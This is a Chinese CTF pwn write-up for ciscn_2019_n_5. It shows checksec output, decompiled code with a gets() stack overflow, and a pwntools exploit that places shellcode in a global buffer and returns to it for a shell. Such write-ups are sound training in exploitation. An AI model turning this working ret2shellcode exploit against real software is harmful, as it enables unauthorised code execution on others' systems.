解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2shellcode(栈溢出执行shellcode)]]
获得shell或flag:[[利用shellcode获得shell]]
学到的知识:
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file ciscn_2019_n_5
ciscn_2019_n_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e420b4efe941251c692c93a7089b49b4319f891, with debug_info, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=ciscn_2019_n_5
RELRO STACK CANARY NX PIE RPATH RUNPATH SymbolsFORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 77) Symbols No 0 2 ciscn_2019_n_5
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}
分析:
通过向name中写入shellcode,并执行该shellcode。
脚本:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile='./ciscn_2019_n_5'
#sh=remote('node4.buuoj.cn',29945)
elf = ELF(pwnfile)
sh=process(pwnfile)
shellcode=asm(shellcraft.sh())
name=0x601080
sh.recvuntil("name\n")
sh.sendline(shellcode)
gdb.attach(sh)
sh.recvuntil("What do you want to say to me?\n")
payload=b"A"*0x28+p64(name)
sh.sendline(payload)
sh.interactive()